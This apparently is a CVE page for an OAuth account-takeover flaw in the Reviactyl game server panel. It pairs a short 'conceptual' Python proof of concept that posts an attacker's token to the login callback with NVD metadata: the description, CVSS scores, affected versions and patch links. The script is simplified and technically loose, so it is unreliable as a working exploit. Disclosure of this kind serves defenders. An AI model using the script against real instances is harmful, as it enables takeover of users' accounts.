CVE-2026-34456

# Conceptual Proof of Concept for CVE-2026-34456 # This script demonstrates the logic of the account takeover vulnerability. import requests target_panel = "https://target-reviactyl-instance.com" victim_email = "[email protected]" # Attacker controls this social account registered with victim_email attacker_oauth_token = "gho_attacker_controlled_token" session = requests.Session() # Step 1: Initiate OAuth login normally (e.g., via GitHub) login_url = f"{target_panel}/auth/github" print(f"[*] Initiating OAuth flow to {target_panel}") # Step 2: Simulate the callback from the OAuth provider # The vulnerable server compares the email returned by the provider # with existing users. Since they match, it logs in the victim. callback_url = f"{target_panel}/auth/callback" payload = { "code": attacker_oauth_token, "state": "random_state_value" } response = session.post(callback_url, data=payload) if response.status_code == 200 and "dashboard" in response.url: print("[+] Success! Logged in as victim account using OAuth bypass.") else: print("[-] Failed to exploit or patch applied.")

{"cve": {"id": "CVE-2026-34456", "sourceIdentifier": "[email protected]", "published": "2026-04-01T20:16:26.120", "lastModified": "2026-04-15T14:25:47.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reviactyl is an open-source game server management panel built using Laravel, React, FilamentPHP, Vite, and Go. From version 26.2.0-beta.1 to before version 26.2.0-beta.5, a vulnerability in the OAuth authentication flow allowed automatic linking of social accounts based solely on matching email addresses. An attacker could create or control a social account (e.g., Google, GitHub, Discord) using a victim’s email address and gain full access to the victim's account without knowing their password. This results in a full account takeover with no prior authentication required. This issue has been patched in version 26.2.0-beta.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:reviactyl:reviactyl:26.2.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "F8D3FEB3-9EB8-4856-8B4B-C729D5DC1DC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:reviactyl:reviactyl:26.2.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "E82FD16F-ED7D-4C6C-A039-F3A4F418BCFC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:reviactyl:reviactyl:26.2.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "D2FE3906-FD27-43A5-8012-7A61FC395D3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:reviactyl:reviactyl:26.2.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "C12D8410-5633-4819-9EAF-B7A08351F540"}]}]}], "references": [{"url": "https://github.com/reviactyl/panel/commit/fe0c29fc62fefe354c9ab8936dfe30fdb586a896", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/reviactyl/panel/releases/tag/v26.2.0-beta.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/reviactyl/panel/security/advisories/GHSA-8mcf-rp68-xhfg", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}